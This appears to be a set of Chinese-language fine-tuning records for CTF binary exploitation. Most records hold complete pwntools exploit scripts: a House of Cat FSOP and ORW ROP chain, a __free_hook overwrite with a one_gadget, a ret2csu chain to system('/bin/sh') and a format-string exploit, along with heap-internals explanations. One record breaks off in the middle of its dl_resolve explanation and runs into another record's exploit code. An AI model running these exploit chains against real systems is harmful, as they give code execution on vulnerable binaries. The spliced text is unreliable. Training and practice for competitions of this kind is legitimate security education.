{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e5fd4d24e620ea5b5b12", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `IO-FILE/house of cat/强网杯2022houseofcat/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`IO-FILE/house of cat/强网杯2022houseofcat/exp.py`\n\n分类：io_file\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n- `import argparse`\n- `import os`\n\n函数/封装：\n- `add`\n- `cmd_gate`\n- `delete`\n- `edit`\n- `parse_args`\n- `show`\n- `start`\n\n利用主题关键词：\n- heap/tcache\n- uaf/double-free\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x200`, `0x290`, `0x418`, `0x420`, `0x430`, `0x440`, `0x450`, `0xb30`, `0xc18`, `0x1370`, `0x17d0`, `0x2050`, `0x28e0`, `0x21a0d0`, `0x21a0e0`, `0x0000000000029cd6`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\nimport argparse\nimport os\n\ncontext.binary = ELF('./houseofcat', checksec=False)\ncontext.arch = 'amd64'\ncontext.log_level = os.environ.get('LOG', 'info')\nlibc = ELF('./libc.so.6', checksec=False)\n\nDEFAULT_LD = '/tools/binary/glibc-all-in-one/libs/2.35/64/ld-linux-x86-64.so.2'\n\n\ndef parse_args():\n    ap = argparse.ArgumentParser(description='QWB 2022 houseofcat exploit')\n    ap.add_argument('--remote', action='store_true', help='connect remote instead of local process')\n    ap.add_argument('--host', default='TARGET_IP')\n    ap.add_argument('--port', type=int, default=9999)\n    ap.add_argument('--ld', default=DEFAULT_LD, help='glibc 2.35 loader path for local run')\n    ap.add_argument('--libc-dir', default='.', help='directory containing libc.so.6')\n    ap.add_argument('--gdb', action='store_true')\n    return ap.parse_args()\n\n\nargs = parse_args()\n\n\ndef start():\n    if args.remote:\n        return remote(args.host, args.port)\n    if os.path.exists(args.ld):\n        return process([args.ld, '--library-path', args.libc_dir, './houseofcat'])\n    log.warning('loader not found, falling back to system loader; this may crash if libc mismatches')\n    return process('./houseofcat', env={'LD_PRELOAD': './libc.so.6'})\n\n\np = start()\n\n\ndef cmd_gate():\n    # Type CAT + pass parser checks. Final \\xff is compared with the global magic byte.\n    p.sendafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF$\\xff')\n\n\ndef add(idx, size, data):\n    cmd_gate()\n    p.sendlineafter(b'plz input your cat choice:\\n', b'1')\n    p.sendlineafter(b'plz input your cat idx:\\n', str(idx).encode())\n    p.sendlineafter(b'plz input your cat size:\\n', str(size).encode())\n    p.sendafter(b'plz input your content:\\n', data)\n\n\ndef delete(idx):\n    cmd_gate()\n    p.sendlineafter(b'plz input your cat choice:\\n', b'2')\n    p.sendlineafter(b'plz input your cat idx:\\n', str(idx).encode())\n\n\ndef show(idx):\n    cmd_gate()\n    p.sendlineafter(b'plz input your cat choice:\\n', b'3')\n    p.sendlineafter(b'plz input your cat idx:\\n', str(idx).encode())\n\n\ndef edit(idx, data):\n    cmd_gate()\n    p.sendlineafter(b'plz input your cat choice:\\n', b'4')\n    p.sendlineafter(b'plz input your cat idx:\\n', str(idx).encode())\n    p.sendafter(b'plz input your content:\\n', data)\n\n\n# First authenticate LOGIN, otherwise CAT commands are ignored.\np.sendafter(b'mew mew mew~~~~~~', b'LOGIN | r00t QWBQWXF admin')\n\n# 1. UAF on large chunk: delete does not clear ptr/size, show can leak freed chunk metadata.\nadd(0, 0x420, b'aaa')\nadd(1, 0x430, b'bbb')\nadd(2, 0x418, b'ccc')\ndelete(0)\nadd(3, 0x440, b'ddd')\nshow(0)\np.recvuntil(b'Context:\\n')\nlibc_base = u64(p.recv(6).ljust(8, b'\\x00')) - 0x21a0d0\nlog.success('libc_base = %#x', libc_base)\np.recv(10)\nheap_base = u64(p.recv(6).ljust(8, b'\\x00')) - 0x290\nlog.success('heap_base = %#x', heap_base)\n\n# 2. Prepare fake _IO_FILE + setcontext target and ORW ROP chain in heap.\npop_rdi = libc_base + 0x000000000002a3e5\npop_rsi = libc_base + 0x000000000002be51\npop_rdx_r12 = libc_base + 0x000000000011f497\npop_rax = libc_base + 0x0000000000045eb0\nret = libc_base + 0x0000000000029cd6\nstderr = libc_base + libc.sym['stderr']\nsetcontext = libc_base + libc.sym['setcontext']\nclose = libc_base + libc.sym['close']\nread = libc_base + libc.sym['read']\nwrite = libc_base + libc.sym['write']\nsyscall_ret = libc_base + next(libc.search(asm('syscall; ret')))\n\nflag_addr = heap_base + 0x17d0\nrop_addr = heap_base + 0x2050\nfake_wide_data = heap_base + 0xb30\n\nfake = b''\nfake += p64(0) * 4\nfake += p64(0) + p64(0)\nfake += p64(1) + p64(0)\nfake += p64(heap_base + 0xc18 - 0x68)       # rdx for setcontext+61\nfake += p64(setcontext + 61)                # _wide_data->_wide_vtable slot -> setcontext+61\nfake = fake.ljust(0x58, b'\\x00')\nfake += p64(0)                              # _chain\nfake = fake.ljust(0x78, b'\\x00')\nfake += p64(heap_base + 0x200)              # _lock, writable\nfake = fake.ljust(0x90, b'\\x00')\nfake += p64(fake_wide_data)                 # _wide_data\nfake = fake.ljust(0xb0, b'\\x00')\nfake += p64(1)                              # _mode\nfake = fake.ljust(0xc8, b'\\x00')\nfake += p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x10)\nfake += p64(0) * 6\nfake += p64(fake_wide_data + 0x10)\n\npayload_file = fake\npayload_file += p64(flag_addr) + p64(0) + p64(0) * 5 + p64(rop_addr) + p64(ret)\n\ndelete(2)\nadd(6, 0x418, payload_file)\ndelete(6)\n\n# 3. Largebin attack #1: overwrite stderr pointer with fake FILE on heap.\nedit(0, p64(libc_base + 0x21a0d0) * 2 + p64(heap_base + 0x290) + p64(stderr - 0x20))\nadd(5, 0x440, b'aaaaa')\nadd(7, 0x430, b'flag\\x00')\nadd(8, 0x430, b'eee')\n\nrop = flat([\n    pop_rdi, 0, close,                         # close stdin\n    pop_rdi, flag_addr, pop_rsi, 0, pop_rax, 2, syscall_ret,  # open(\"flag\", O_RDONLY) -> fd 0\n    pop_rdi, 0, pop_rsi, flag_addr, pop_rdx_r12, 0x50, 0, read,\n    pop_rdi, 1, write,\n], word_size=64)\nadd(9, 0x430, rop)\n\n# 4. Largebin attack #2: corrupt top chunk size, then malloc triggers __malloc_assert.\ndelete(5)\nadd(10, 0x450, p64(0) + p64(1))\ndelete(8)\nedit(5, p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x1370) + p64(heap_base + 0x28e0 - 0x20 + 3))\n\nif args.gdb:\n    gdb.attach(p, 'b *_IO_wfile_seekoff')\n\ncmd_gate()\np.sendlineafter(b'plz input your cat choice:\\n', b'1')\np.sendlineafter(b'plz input your cat idx:', b'11')\np.sendlineafter(b'plz input your cat size:', str(0x450).encode())\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-178842e0affe08be", "original_line": 159, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/exp.py", "split": "train", "split_group_key": "91fb5ae49b1e110d5a59f456"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e6069b09b1c544fb1b03", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「早期的 Large Bin Attack」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 早期的 Large Bin Attack\n\n> Large Bin Attack（glibc < 3.30）\n\nglibc-2.30 之前，由于 chunk 链入 large bin 的过程中缺乏对 bk 和 bk_nextsize 指针的检查，因此可以 通过修改 bk 和 bk_nextsize 指针进行两处任意地址写。\n\n如果新加入的 chunk **不小于 large bin 中的 chunk** 会进行如下操作：\n\n```c\nif (in_smallbin_range(size)) {\n    // 如果内存块大小属于小块范围，执行小块的内存分配逻辑\n    ...\n} else {\n    // 如果内存块大小属于大块范围\n    victim_index = largebin_index(size); // 获取大块的索引\n    bck = bin_at(av, victim_index);       // 获取对应的后向指针（即链表的前一个节点）\n    fwd = bck->fd;                        // 获取对应的前向指针（即链表的下一个节点）\n\n    // 保持大块链表的排序\n    if (fwd != bck) {\n        // 如果前向指针和后向指针不相同，表示链表中有多个节点\n\n        // 将大小的低位与PREV_INUSE位按位“或”操作，以加速比较\n        size |= PREV_INUSE;\n\n        // 确保bck是主内存区域中的一个有效块\n        assert(chunk_main_arena(bck->bk));\n\n        // 如果目标块的大小小于bck->bk所指块的大小，跳过下面的循环\n        if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {\n            ...\n        } else {\n            // 确保fwd是主内存区域中的一个有效块\n            assert(chunk_main_arena(fwd));\n\n            // 通过循环遍历fwd链表，找到适合插入的位置\n            while ((unsigned long)size < chunksize_nomask(fwd)) {\n                fwd = fwd->fd_nextsize; // 指向下一个大小相同的块\n                assert(chunk_main_arena(fwd)); // 确保fwd是有效块\n            }\n\n            // 如果size和fwd块的大小相等，则将新块插入到第二个位置\n            if ((unsigned long)size == (unsigned long)chunksize_nomask(fwd)) {\n                fwd = fwd->fd; // 新块将插入到fwd之后\n            } else {\n                // 如果新块的大小大于fwd的大小，则插入到fwd之前\n                victim->fd_nextsize = fwd;\n                victim->bk_nextsize = fwd->bk_nextsize;\n                fwd->bk_nextsize = victim;\n                victim->bk_nextsize->fd_nextsize = victim;\n            }\n\n            // 更新bck指针\n            bck = fwd->bk;\n        }\n    } else {\n        // 如果fwd == bck，表示链表只有一个节点\n        victim->fd_nextsize = victim->bk_nextsize = victim;\n    }\n\n    // 将victim插入到链表的正确位置\n    mark_bin(av, victim_index);\n    victim->bk = bck;\n    victim->fd = fwd;\n    fwd->bk = victim;\n    bck->fd = victim;\n}\n```\n\n劫持一个 large bin 中一个**在同等大小 chunk 中 bk 方向最靠前的 chunk** 的 **bk** 和 **bk_nextsize** 然后释放一个比该 chunk **稍大一些**的 chunk 就可以实现下图所示效果。\n\n[图片: image]\n\n自 glibc-2.30 开始如果加入的 chunk 不是最小的则在插入链表时会对 bk 指针进行检查。\n\n```c\nif (bck->fd != fwd)\n  malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d80a5fdf1aeabcad", "original_line": 103, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e68f1051057500847475", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Seccomp绕过/2025gxqs-shellcode/re.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Seccomp绕过/2025gxqs-shellcode/re.c`\n\n分类：seccomp\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `main`\n- `tea_variant_decrypt_block`\n\n利用主题关键词：\n- seccomp/orw\n- safe-linking\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n#include \n\n// 按原始反汇编的实现：对单个 64-bit (两个 uint32) 块进行变种 TEA 解密\nvoid tea_variant_decrypt_block(uint32_t *v, const uint32_t key[4]) {\n    // v[0] 对应 v7，v[1] 对应 v8（遵循原函数命名/顺序）\n    uint32_t v7 = v[0];\n    uint32_t v8 = v[1];\n    uint32_t v9 = 0;\n    const uint32_t delta = 1131796; // 题目中用到的增量\n\n    for (int j = 0; j < 21; ++j) {\n        // v8 -= (((16 * v7) ^ (v7 >> 5)) + v7) ^ (v9 + key[(v9 >> 11) & 3]);\n        {\n            uint32_t t1 = (uint32_t)((uint32_t)16 * v7);\n            uint32_t expr = ((t1 ^ (v7 >> 5)) + v7) ^ (v9 + key[(v9 >> 11) & 3]);\n            v8 = (uint32_t)(v8 - expr);\n        }\n\n        v9 = (uint32_t)(v9 + delta);\n\n        // v7 -= (((16 * v8) ^ (v8 >> 5)) + v8) ^ (v9 + key[v9 & 3]);\n        {\n            uint32_t t2 = (uint32_t)((uint32_t)16 * v8);\n            uint32_t expr2 = ((t2 ^ (v8 >> 5)) + v8) ^ (v9 + key[v9 & 3]);\n            v7 = (uint32_t)(v7 - expr2);\n        }\n    }\n\n    v[0] = v7;\n    v[1] = v8;\n}\n\nint main(void) {\n    // 题目中 Str1 的 8 个 32-bit 值（注意其中有负数，转成 uint32）\n    uint32_t Str1[8] = {\n        (uint32_t)1507521230U,\n        (uint32_t)(-2131024571), // convert signed->uint32\n        (uint32_t)281284809U,\n        (uint32_t)1643177511U,\n        (uint32_t)2135208994U,\n        (uint32_t)(-1021528504),\n        (uint32_t)1430855376U,\n        (uint32_t)1128371098U\n    };\n\n    // 密钥数组 v8 = {8227, 8228, 8229, 8230}\n    uint32_t key[4] = {8227U, 8228U, 8229U, 8230U};\n\n    // 对每个 8 字节（两个 uint32）块进行解密（共 4 块）\n    uint8_t plain[32];\n    for (int blk = 0; blk < 4; ++blk) {\n        uint32_t block[2];\n        block[0] = Str1[blk * 2 + 0];\n        block[1] = Str1[blk * 2 + 1];\n\n        tea_variant_decrypt_block(block, key);\n\n        // 按小端把两个 uint32 填入 plain 字节数组（与原程序在内存中的布局相符）\n        plain[blk*8 + 0] = (uint8_t)(block[0] & 0xFF);\n        plain[blk*8 + 1] = (uint8_t)((block[0] >> 8) & 0xFF);\n        plain[blk*8 + 2] = (uint8_t)((block[0] >> 16) & 0xFF);\n        plain[blk*8 + 3] = (uint8_t)((block[0] >> 24) & 0xFF);\n\n        plain[blk*8 + 4] = (uint8_t)(block[1] & 0xFF);\n        plain[blk*8 + 5] = (uint8_t)((block[1] >> 8) & 0xFF);\n        plain[blk*8 + 6] = (uint8_t)((block[1] >> 16) & 0xFF);\n        plain[blk*8 + 7] = (uint8_t)((block[1] >> 24) & 0xFF);\n    }\n\n    // 输出：Hex\n    printf(\"解密得到的 flag（Hex）: \");\n    for (int i = 0; i < 32; ++i) {\n        printf(\"%02x\", plain[i]);\n    }\n    printf(\"\\n\");\n\n    // 输出：尽量以 ASCII 显示（不可打印字符用 '.' 代替）\n    printf(\"解密得到的 flag（ASCII可打印部分）: \");\n    int printable = 1;\n    for (int i = 0; i < 32; ++i) {\n        unsigned char c = plain[i];\n        if (isprint(c)) {\n            putchar(c);\n        } else {\n            putchar('.');\n            printable = 0;\n        }\n    }\n    printf(\"\\n\");\n\n    if (printable) {\n        printf(\"（全部为可打印 ASCII）\\n\");\n    } else {\n        printf(\"（含不可打印字符，已以 '.' 显示）\\n\");\n    }\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-8f0ac8c8875bc99b", "original_line": 502, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/2025gxqs-shellcode/re.c", "split": "train", "split_group_key": "8a4008a7d46efd161ca8d839"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/2025gxqs-shellcode/re.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e757c1b686403692a318", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/off-by-one/Asis_2016_b00ks/exp_books.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/off-by-one/Asis_2016_b00ks/exp_books.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `changename`\n- `createbook`\n- `createname`\n- `deletebook`\n- `editbook`\n- `printbook`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0xffff`, `0x21000`, `0x4f2c5`, `0x4f322`, `0x10a38c`, `0x5b9010`\n\n训练用代码片段：\n```python\nfrom pwn import *\ncontext.log_level=\"info\"\n\nbinary=ELF(\"b00ks\")\nlibc=ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")\nio=process(\"./b00ks\")\n\n\ndef createbook(name_size,name,des_size,des):\n\tio.readuntil(\"> \")\n\tio.sendline(\"1\")\n\tio.readuntil(\": \")\n\tio.sendline(str(name_size))\n\tio.readuntil(\": \")\n\tio.sendline(name)\n\tio.readuntil(\": \")\n\tio.sendline(str(des_size))\n\tio.readuntil(\": \")\n\tio.sendline(des)\n\ndef printbook(id):\n\tio.readuntil(\"> \")\n\tio.sendline(\"4\")\n\tio.readuntil(\": \")\n\tfor i in range(id):\n\t\tbook_id=int(io.readline()[:-1])\n\t\tio.readuntil(\": \")\n\t\tbook_name=io.readline()[:-1]\n\t\tio.readuntil(\": \")\n\t\tbook_des=io.readline()[:-1]\n\t\tio.readuntil(\": \")\n\t\tbook_author=io.readline()[:-1]\n\treturn book_id,book_name,book_des,book_author\n\ndef createname(name):\n\tio.readuntil(\"name: \")\n\tio.sendline(name)\n\ndef changename(name):\n\tio.readuntil(\"> \")\n\tio.sendline(\"5\")\n\tio.readuntil(\": \")\n\tio.sendline(name)\n\ndef editbook(book_id,new_des):\n\tio.readuntil(\"> \")\n\tio.sendline(\"3\")\n\tio.readuntil(\": \")\n\tio.writeline(str(book_id))\n\tio.readuntil(\": \")\n\tio.sendline(new_des)\n\ndef deletebook(book_id):\n\tio.readuntil(\"> \")\n\tio.sendline(\"2\")\n\tio.readuntil(\": \")\n\tio.sendline(str(book_id))\n\ncreatename(\"A\"*32)\ncreatebook(128,\"a\",32,\"a\")\ncreatebook(0x21000,\"a\",0x21000,\"b\")\n\n\nbook_id_1,book_name,book_des,book_author=printbook(1)\nbook1_addr=u64(book_author[32:32+6].ljust(8,'\\x00'))\nlog.success(\"book1_address:\"+hex(book1_addr))\n\npayload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)\neditbook(book_id_1,payload)\nchangename(\"A\"*32)\nbook_id_1,book_name,book_des,book_author=printbook(1)\nbook2_name_addr=u64(book_name.ljust(8,\"\\x00\"))\nbook2_des_addr=u64(book_des.ljust(8,\"\\x00\"))\nlog.success(\"book2 name addr:\"+hex(book2_name_addr))\nlog.success(\"book2 des addr:\"+hex(book2_des_addr))\nlibc_base=book2_des_addr-0x5b9010\nlog.success(\"libc base:\"+hex(libc_base))\n\nfree_hook=libc_base+libc.symbols[\"__free_hook\"]\none_gadget=libc_base+0x4f322 #0x4f2c5 0x10a38c 0x4f322\nlog.success(\"free_hook:\"+hex(free_hook))\nlog.success(\"one_gadget:\"+hex(one_gadget))\neditbook(1,p64(free_hook)*2)\neditbook(2,p64(one_gadget))\n#gdb.attach(io)\n\n\ndeletebook(2)\n\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-b3094a0126d93ca2", "original_line": 21, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/Asis_2016_b00ks/exp_books.py", "split": "train", "split_group_key": "d52a663de8c02f2912cd9d74"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/Asis_2016_b00ks/exp_books.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e767ea5f3a8e97f7c285", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2csu/2024 geekchage su_____/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2csu/2024 geekchage su_____/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n函数/封装：\n- `csu`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x400798`, `0x4008E0`, `0x4008FA`, `0x00000000004005d6`, `0x0000000000400903`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\ngadget1=0x4008FA\ngadget2=0x4008E0\nrdi=0x0000000000400903\nret=0x00000000004005d6\noff=136\n\nru(\"exit.\\n\")\nsl(b\"1\")\n\ndef csu(addr,edi,rsi,rdx,last):\n\t#用于溢出的padding\n\tpayload=off*b'a'\n\t#gadget1\n\tpayload+=p64(gadget1)\n\t#rbx=0，rbp=1\n\tpayload+=p64(0)+p64(1)\n\t#设置r12寄存器地址，即call调用的地址\n\tpayload+=p64(addr)\n\t#参数3、参数2、参数1\n\t#r13、r14、r15\n\tpayload+=p64(edi)+p64(rsi)+p64(rdx)\n\t#gadget2\n\tpayload+=p64(gadget2)\n\t#pop出的padding\n\tpayload+=b'a'*56\n\t#函数最后的返回地址\n\tpayload+=p64(last)\n\treturn payload\n\npayload=csu(elf.got.puts,elf.got.puts,elf.got.puts,8,0x400798)\n\nsl(payload)\naddr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nprint(\"puts\",hex(addr))\nbase=addr-libc.sym.puts\nprint(\"base\",hex(base))\nsys=base+libc.sym.system\nprint(\"sys\",hex(sys))\nsh=base+next(libc.search(\"/bin/sh\\x00\"))\nprint(\"sh\",hex(sh))\n\npayload=b'a'*off+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-9047523addac31c3", "original_line": 521, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2csu/2024 geekchage su_____/exp_cli.py", "split": "train", "split_group_key": "9ca813d74aafaccb924a8071"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2csu/2024 geekchage su_____/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e784b02f8c8807c646d2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3.64位dl_resolve」。\n资料来源：Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md；主题：dl_resolve-any_gadget；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 3.64位dl_resolve\n\n####（1）原理\n\n​\t区别：结构体变化 & 寄存器传参。\n\n#####1.64位relocation entry的结构体定义如下（24 bytes）：\n\n```c\ntypedef __u16   Elf64_Half;\ntypedef __u32   Elf64_Word;\ntypedef __u64   Elf64_Addr;\ntypedef __u64   Elf64_Xword;\ntypedef __s64   Elf64_Sxword;\n\ntypedef struct elf64_rela {\n  Elf64_Addr r_offset;  /* Location at which to apply the action */\n  Elf64_Xword r_info;   /* index and type of relocation */\n  Elf64_Sxword r_addend;    /* Constant addend used to compute value */\n} Elf64_Rela;\n#define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff)\n```\n\n```python\n#roputils中，64位下构造伪Elf64_Rela的代码如下\n...\n        r_info = (((addr_sym - symtab) / syment) << 32) | 0x7\n...\n        buf += struct.pack(' fake large\n    payload += '\\x00' * 0x140  # padding for fake chunk\n    payload += p64(0x150)  # fake chunk's next chunk's prev_size\n    payload += p64(\n        0x21\n    )  # fake chunk's next chunk's size, bypass the check: !prev_inuse(nextchunk)\n    payload += '\\x00' * 0x10  # padding for fake chunk's next chunk\n    payload += p64(0x20) + p64(\n        0x21)  # bypass the check: in order not to consolidate\n    edit(1, payload)  # modify order 2's chunk size to 0x140\n    gdb.attach(p)\n    delete(2)  # now, unsorted bin\\'s head chunk size 0x140.\n\n    log.info('step 2. format vulnerability')\n    # when submit, the overall order content is :\n    # Order 1: order1\n    # Order 2: Order1: order1\n    # try to construct format parameter too\n    payload = 'FFFFFFF' + argv\n    submit(payload)\n    p.recvuntil('2: Order 1: ')\n\n\ndef exp():\n    log.info('leak libc base')\n    fini_array0 = 0x6011B8  # old: 0x400830\n    main_addr = 0x400A39\n    # make fini_array0 point to main\n    # 13 for \" 2: Order 1: \"\n    # 14 for \"%31$p\"\n    padding = 0x0a39 - 13 - 14\n    print hex(padding)\n    fmtstr = \"%31$p\" + \"%{}x\".format(padding) + \"%13$hn\"\n    fmt(fmtstr, p64(0x6011B8))\n    libc_start_main_addr = int(p.recv(14), 16) - 240\n    libc_base = libc_start_main_addr - libc.symbols['__libc_start_main']\n    log.success('libc base: ' + hex(libc_base))\n    one_gadget_addr = libc_base + 0x45216\n    log.success('one gadget addr: ' + hex(one_gadget_addr))\n\n    p.interactive()\n\n\nif __name__ == \"__main__\":\n    exp()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-91f3cfa6a3f6caf6", "original_line": 4, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/chunk Extend and Overlapping/2015_hacklu_bookstore/exp.py", "split": "train", "split_group_key": "e32e5f63a7cfb3237bf567d5"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/chunk Extend and Overlapping/2015_hacklu_bookstore/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e879101b3d07e2430a0d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「泄露」。\n资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 泄露\n\n构造三个 large chunk：\n\n```python\nadd(0, 0x420, b'aaa')\nadd(1, 0x430, b'bbb')\nadd(2, 0x418, b'ccc')\ndelete(0)\nadd(3, 0x440, b'ddd')\nshow(0)\n```\n\n`show(0)` 输出 freed chunk 的 unsorted bin 指针，可同时得到 libc 和 heap：\n\n```python\nlibc_base = u64(leak[0:6].ljust(8, b'\\x00')) - 0x21a0d0\nheap_base = u64(leak[16:22].ljust(8, b'\\x00')) - 0x290\n```\n\n其中 `0x21a0d0` 是该 libc 下泄露出来的 `main_arena` 相关偏移。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-3e0212b582e11eb9", "original_line": 223, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "split_group_key": "578233bae2b6c983d51c12ff"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "type": "ctf_lora_sft"}
